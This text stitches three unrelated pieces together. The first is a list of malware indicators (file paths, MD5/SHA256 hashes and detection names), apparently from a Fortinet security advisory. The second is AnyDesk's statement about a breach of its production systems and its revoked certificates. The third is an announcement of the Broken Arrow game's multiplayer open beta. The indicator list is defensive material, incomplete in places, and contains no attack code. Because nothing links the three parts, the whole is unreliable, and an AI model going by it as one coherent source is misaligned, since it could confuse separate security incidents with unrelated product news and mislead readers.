4c375c7ac9ee2f8a04c920381683e811 SHA256: 7edd6af205e748d13641bf3d3209bc69ab062b71db06700277b337f3b026700e ELF/Agent.E811!tr /bin/httpsng MD5: 7454bb4b3dfe4f4386980b63f119c208 SHA256: 1b7af533f32a1c0bb62420be787d9e02c8a71bca77f2b0857dd20599f8833853 ELF/Agent.C208!tr MD5: f5caae23ace1ee0b48d02427b08f0bad SHA256: 534632ae386cf4d2190ef03be08a96f25fb3a9537d1c380141d36d797b983705 ELF/Agent.0BAD!tr /bin/smit MD5: fc78c1800fbe25e57a7333ca51e183b6 SHA256: b8bd746e4713e101266d74bbe8cfbf064b5979adb8df68076d295df9e0a215d0 ELF/Agent.83B6!tr MD5: 247139079d8a1c2534ef0d2b726d8ebb SHA256: 4860b98219177aacb786b1a2d5c68e999c0c8cf6c6400c7fe773fb18f44c78be ELF/Agent.8EBB!tr MD5: 2fc1aa1ab1ecde77eb6724f7385d5749 SHA256: 46ac81f19c996d9a2e257ef584455a721aad15f1cdeb597e8f853e288b3e9070 ELF/Agent.C78F!tr MD5: 2fc1aa1ab1ecde77eb6724f7385d5749 SHA256: 46ac81f19c996d9a2e257ef584455a721aad15f1cdeb597e8f853e288b3e9070 ELF/Agent.C78F!tr MD5: cf49feb43667819b880422efbe89fd01 SHA256: 6a92e750eb4e84be875158e6ecb11ac3e4716c04ff32d29206bf7b1a4ec46edc ELF/Agent.FD01!tr MD5: 08039b1cbdf880a3d86f8646bb286709 SHA256: 2b1aa340384b5e889008839bc961fcb438379cc2de8be880664ae41fd9e77084 ELF/Agent.6709!tr MD5: bc1bd24e32fb6a778c1e79840e8ec78f SHA256: 51d0d5d83735a3a63a2405b4f9909676fc572827693f34b80799b0786a5f1677 ELF/Agent.C78F!tr MD5: 823ae2645869e4fc9ebcb046aa760440 TBC /tmp/busybox MD5: ebce43017d2cb316ea45e08374de7315 N/A /data2/libcrashpad.so MD5: e9f64481280c964a6a5dbf551e9cf6f0 SHA256: 7075c5595ac2b34c8f5cf99aeeae0a99b10df100cfb5362f9a2a033ce4451a0e ELF/Agent.A7BA!tr MD5: 9db3c6c29b4028ccd63ee38b62620df7 SHA256: 9af6b6b1ce11ab62a95f3990cdf9b0f3d4bc722f662d80116bcdabdd302f4aee ELF/Agent.0DF7!tr MD5: 5b2882b0a4de3210e1bfa5db1ed63713 SHA256: ef7f71ea1c7f35c8a28fc2e98fa9e59b8e2d0f0bea84a527cf2c20ccc4f8b816 ELF/Agent.0DF7!tr MD5: aa53393374e3ec355c0071adeba535eb SHA256: ELF/Agent.0DF7!tr MD5: dbe0d8d612ad89229cd6175e37157f3c TBC MD5: 604d909d4d8d69c07e3474ceaf379f20 SHA256: ddc68e6647f9abcf23206d2fbcbccb4459d7f545abfc9b2e12ebba2e5a29bcd1 ELF/Agent.0DF7!tr MD5: 78310bad651eff14e5ecefe674630e75 SHA256: 1103c2cd47fd62d2c9353edb5c2dce23173c15770594237b84e01635723b0eec ELF/Agent.0DF7!tr /data2/tftpd MD5: cf3e6cb8ada288aa2d1bc39d1ce2ad54 SHA256: a322034e610aa07632ade4323d37d55c5c613b155ef51b05ab83de4159c231b2 ELF/Agent.AD54!tr MD5: 0909a8ee77fbd40ab461df20600ddae0 SHA256: ba0b6b0c6b628dffcf0f34fa78fb61acb6c1b457f7b5addadbe4dba575bac5bd ELF/Agent.DAE0!tr MD5: 953813bb2137e351709d98a91336eb25 SHA256: 65a9314fc3fac8cc238534d81c12e2080820f86a58299113c164aea4cd18f11c ELF/Agent.EB25!tr MD5: b11faf42afeca35920a248001b90e997 N/A /lib/libaprhelper.so MD5: 9e898f389003f9141831856f021fda3a SHA256: 80d03d5d35a7b9bde7e5e60f0df3baa0c51cbbd9214d875cd1967f589b9df183 ELF/Agent.DF0F!tr MD5: 9d2bc4e59357b56199b709a599600fa7 MD5: 176220a8ac6f344aaf620efab5c6f276 SHA256: 7a86b793612a6b6a3f27d7c24eec4c75202915c7c2c36b786c39ef95628b1286 ELF/Agent.DF0F!tr MD5: 2349d1d1acb69e91aea5be7767254f81 SHA256: 1209b5ff4755e689e260e680caf33b52ecd3fa8a1bb20ff06d7770828490baee ELF/Agent.DF0F!tr MD5: 9d7b6fc9a0702381062726f634d0df0f SHA256: 43c1905b2078a8de9d0fa42e16465692066825e3dcb42a17cbf40b77736527c2 ELF/Agent.DF0F!tr MD5: b32ad75ce0494586a8b278c0413c0406 N/A MD5: e7ab34f7df83ce3ed6bf287332f7ce73 SHA256: 80d03d5d35a7b9bde7e5e60f0df3baa0c51cbbd9214d875cd1967f589b9df183 ELF/Agent.DF0F!tr MD5: 8b2c08f4e558626f34494b171e21f644 SHA256: a667edc691e9950ec0bc92e9f2cdcb7e99a086286063864040435f26537f9d9b /data2/libunwind.1.so MD5: e9c2a3efaa97462168790b2fe234a7ba SHA256: 5700a8d9f00ebeb52536d16701522ecf6a07deb660e442cd67acdfb768e17c39 ELF/Agent.A7BA!tr /data2/httpdng MD5: f84a5eff50af2a7bfae49345b3b3ce1e SHA256: 662dd91647c45df0625c011565a60f18e0de47b9e57653763868205f4026593f ELF/Agent.CE1E!tr MD5: e1aff3203fd38fc4790157d908ef742a MD5: f66c0c328d40cffdb0d8dfa0444fe923 MD5: 7aaaf17e4e3638d2f93b1cf5a1579ac6 SHA256: 0088cfd5b4b7195edab836236ba0c6a0c2aded3e4b8a842f11ee4e9c5e4ae3c1 ELF/Agent.CE1E!tr /lib/libaprsd.so MD5: dc95090cca508d1196b972c385dc3405 SHA256: 89e049fd0df33da453fe04d9b2f9619b46dac0fceb7a8156560cce08fce3d8b7 ELF/Agent.DF0F!tr MD5: 834e542076e7c37e848fb68b3671f7a1 MD5: 62ef5ec4adbd655adcc418d7ba2262ac MD5: 9d7a1a536eef0ff1e87ee1d78ac7bc69 SHA256: 1748035e9cb1932bbe6c3aa93c2ae044296e0f0774d0aa0d3eb688cdd2c0b2f2 ELF/Agent.DF0F!tr /bin/toybox MD5: d0a31975a436d0fe3b4f990c5003ca59 Clean /tmp/.ptyagent MD5: 2d88911f67a2cce7fa97cdf0ae59a027 SHA256: 910e7fc043560fbc2757304503de38a8824238765b2d91d87b974fefa253e311 ELF/Agent.A027!tr MD5: ca5184d43691ee8d8619377e600fa117 SHA256: 70372f95fa5cf917639007ae25a67a53d0297b67792b00bbea63ce0b170f95b8 Linux/Chisel.D!tr /data/lib/libav.so.new/libav.so MD5: 30009c9052e588b93fb12e918bbcecfb SHA256: 6584f614fb0ef864cd5aa5b6ec1b42299f2b639a23e4b1e853caf3b2f2254b14 ELF/Agent.ECFB!tr /data2/.vile/ketg MD5: e9ae2188d7a46fdac30b192b7405cba2 SHA256: 8f380a844011daa8854798bf31981b660bf752e95c2e41ae50c0306275b5c0ed Agent.CBA2!tr /SYSV64564856 MD5: 8771305a111e1b38ada954513af4507c SHA256: a25a7a7e3bcdc66545db1d62d3b09339ea7abef2a9731707f521a10338b5f563 ELF/Agent.507C!tr /data2/.vile/ith MD5: 8d4c9b498da847c3690260bb28f046f9 SHA256: 75ce32c1e3ba902f7dcbf5bce63347448a94537682cebdde6d93efb2ede3f81c ELF/Agent.46F9!tr /data2/.vile/dnpfmn MD5: 3977f8b8f5ec13604819f45282fd9b71 SHA256: adb1b6fc93a0225a203ec64a48470072b5d5c43d8f15860ee03f24673d9d97fe ELF/Agent.9B71!tr /data2/.vile/lmcdle MD5: 3fba828577e745c8a51d657cc393f461 SHA256: 20de58db0cfb04ce0abde662ca84b00ca7135bb546e2d32865046c3e4acc1b92 ELF/Agent.F461!tr /data2/.vile/fmteld MD5: 46c59ceb4ded468d692a92e34df75988 /data2/brodel MD5: 96e74f0f463eadeded69db5d0efde628 /data2/liblink.so.1 MD5: 031e21168d7e783d26998e63217a365c SHA256: dfafeb3efaba2c8e5d80ec7a37c00805895df1a47333515082da54e49a388a59 ELF/Agent.365C!tr /data2/fortlinkd: MD5: d97bae365bd4c3fbf2eb834d678dbd11 SHA256: bfc20c8e21fa4674492576961baedae90f7794a8534d2ad3ef4e230de2fb38ab ELF/Agent.BD11!tr /bin/fgfm MD5: 83d5c75bf1d2090a6cceaf2a80d906da /data2/lib/* (Bash Scripts) MD5: 33423931a013dfc4a41beb3c5faee2a8 MD5: 559b728ba316528a21b80e87447c2f47 MD5: 2d973c9863e70cd41578a4046990501a MD5: 93104b1c37cb4478df45b5ba8ea0ff62 N/A Authd MD5: 9124ce75319514561156d2013fc9d3be SHA256: f40c04fb9e2d4157a0bc753925dbc5f757feb77cdd22f90fedf3cc5e095143bc ELF/Agent.D3BE!tr Httpsd MD5: 218a3525ab8e46f7afe252d050a86907 SHA256: 3ed99aad5922744b6a75ea90ea6ece81ba0d8eb9935aec38b897e44ac3b36c35 ELF/Agent.6907!tr Liblog.so MD5: e24d14d3e6c6de0ed3db050dd5c935f0 SHA256: a79f80158ebbf9e34f6a7ec86b564de2fbee783fe6c1e20eefe2832226e2f827 ELF/Agent.35F0!tr Libpe.so MD5: 6c0adca790235445d07be98cd0f820b5 SHA256: 50451bb5b6d68115695a6cb277839a6dd2bad8f70bdb8b79670b18dcde188965 ELF/Agent.20B5!tr Newcli MD5: ab89139e3d47fbaba2da33040da95200 SHA256: 2acc6a2a931db63fe3a875780f00192a60955c9794df68fe0ace0012d309b04f ELF/Agent.5200!tr Packfile MD5: 201ee76e996846d5ea3fc03bac3273dd SHA256: 4591b4fb1c93c27203b36c773597fd3f885338ad7641dcebf8ed2395acdf4a5f Data/Agent.73DD!tr Preload.so MD5: a62377c01935f366761846b5ceed5a49 SHA256: 1c437dc9e929669e5a65a1c70afb3107fba471afb9ad35e3848334c9332f2b59 ELF/Agent.5A49!tr Sh MD5: 991461b86aebecfd096dc11ff2a04b4b SHA256: dcd9a5af1c6297ed1a66c851efa305000335d8ade068ba515125a6612f1d5300 NA Smartctl MD5: 205a8c6049061930490b2482855babcd SHA256: 4519baebba73827e2b33f36f835d6cb704755abf1312d8d197be635f4d9ffade NA For details of the Fortinet PSIRT Policy and to report a vulnerability: https://www.fortiguard.com/psirt_policy.

Following indications of an incident on some of our systems, we conducted a security audit and found evidence of compromised production systems. We immediately activated a remediation and response plan involving cyber security experts CrowdStrike. The remediation plan has concluded successfully. The relevant authorities have been notified and we are working closely with them. This incident is not related to ransomware. We have revoked all security-related certificates and systems have been remediated or replaced where necessary. We will be revoking the previous code signing certificate for our binaries shortly and have already started replacing it with a new one. Our systems are designed not to store private keys, security tokens or passwords that could be exploited to connect to end user devices. As a precaution, we are revoking all passwords to our web portal, my.anydesk.com, and we recommend that users change their passwords if the same credentials are used elsewhere. To date, we have no evidence that any end-user devices have been affected. We can confirm that the situation is under control and it is safe to use AnyDesk. Please ensure that you are using the latest version, with the new code signing certificate. The integrity and trust in our products is of paramount importance to us and we are taking this situation very seriously. https://anydesk.com/en/public-statement Affected certificate version is in 8.0.6 , the new certificate can be found in version 8.0.8

You've been waiting patiently, but the Multiplayer Open Beta is now here . Get ready to engage in exciting 5v5 online matches, starting today and until February 16. It is an Open Beta, meaning that everyone will be accepted automatically and immediately. It also means you are able to stream the game, make videos of it and upload them, talk about it with your friends. Simply put, there will be no NDA restrictions. It is a multiplayer beta only and it contains no single-player content whatsoever. The game at launch will contain single-player scenarios and single-player campaigns, but the purpose of this playtest phase is to test online play. The beta build currently contains 6 multiplayer maps playable in 5vs5 with only 4 out of the ten specializations the game will contain at launch, for the two playable factions, USA and Russia. If you want more information on what the open beta contains, please refer to this post. How to download and install The Open Beta is only available through Steam. In order to download it, head to the steam page of Broken Arrow You will need to click on the green button which says REQUEST ACCESS . You will be given access automatically and "Broken Arrow Playtest" will appear in your Steam Library. Then, all you need to do is to click Install and the download will start. Please note that you might be required to close and relaunch Steam in order for the download to begin. Multiplayer challenge We have decided to challenge the community with a contest: during those 16 days players will have the chance to climb two unique leaderboards: K/D ratio and Win/Loss ratio. At the end of the open beta we’ll know who the winners and top players among the community are. We will also reward the most active player for the duration of the beta. Victory will be rewarded with the possibility of taking part in a special live round table with the developers: those who manage to get in the first five positions of each leaderboard will get the chance to take part in this live event with Steel Balalaika and they will be able to talk with the developers, offering them feedback and opinions and asking whatever they want about the game. We’ll make sure to update you daily on Discord on who is leading each leaderboard. Struggling with the basics? If you're struggling with learning how to play, don't worry. The game at launch will feature ways for new players to be gradually introduced to gameplay mechanics and they will be able to learn the ropes, but for now please refer to this short guide. It serves as a useful guide to get started and learn the basics. Should you still have trouble please join our discord channel: Broken Arrow has a big and helpful community and plenty of experienced players willing to lend a hand and teach newcomers. Have fun!